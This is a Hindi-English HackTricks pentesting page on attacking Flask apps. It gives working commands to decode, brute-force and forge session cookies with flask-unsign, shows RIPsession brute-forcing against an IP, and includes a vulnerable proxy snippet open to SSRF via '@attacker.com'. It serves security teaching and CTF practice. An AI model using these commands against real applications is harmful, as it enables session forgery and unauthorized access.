Flask
Tip
AWS Hacking सीखें & अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें:HackTricks Training Azure Red Team Expert (AzRTE)
assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।
HackTricks का समर्थन करें
- subscription plans देखें!
- जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
- HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।
संभवतः अगर आप CTF खेल रहे हैं तो एक Flask एप्लिकेशन आमतौर पर SSTI.
कुकीज़
डिफ़ॉल्ट cookie session नाम है session।
डीकोडर
ऑनलाइन Flask कुकीज़ डीकोडर: https://www.kirsle.net/wizards/flask-session.cgi
मैनुअल
cookie का पहला हिस्सा पहले बिंदु (.) तक लें और उसे Base64 डिकोड करें:
echo "ImhlbGxvIg" | base64 -d
यह cookie भी password का उपयोग करके signed की जाती है
Flask-Unsign
secret keys का अनुमान लगाकर Flask एप्लिकेशन के session cookies को fetch, decode, brute-force और craft करने के लिए command-line tool।
pip3 install flask-unsign
Cookie को डिकोड करें
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
हस्ताक्षरकरण
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
पुराने (legacy) संस्करणों का उपयोग करके Signing
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
यह कमांड-लाइन टूल उन cookies का उपयोग करके वेबसाइटों पर brute-force करता है जिन्हें flask-unsign से तैयार किया गया है।
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
Flask session cookie में SQLi (SQLmap के साथ)
This example sqlmap eval option का उपयोग करता है ताकि flask के लिए ज्ञात secret का उपयोग करके automatically sign sqlmap payloads किए जा सकें।
Flask Proxy से SSRF
In this writeup यह समझाया गया है कि Flask कैसे ‘@’ character से शुरू होने वाली request की अनुमति देता है:
GET @/ HTTP/1.1
Host: target.com
Connection: close
निम्नलिखित परिदृश्य में कौन सा:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
“@attacker.com” जैसा कुछ इनपुट करने की अनुमति दे सकता है, जिससे SSRF हो सकता है।
Tip
AWS Hacking सीखें & अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें:HackTricks Training Azure Red Team Expert (AzRTE)
assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।
HackTricks का समर्थन करें
- subscription plans देखें!
- जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
- HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।


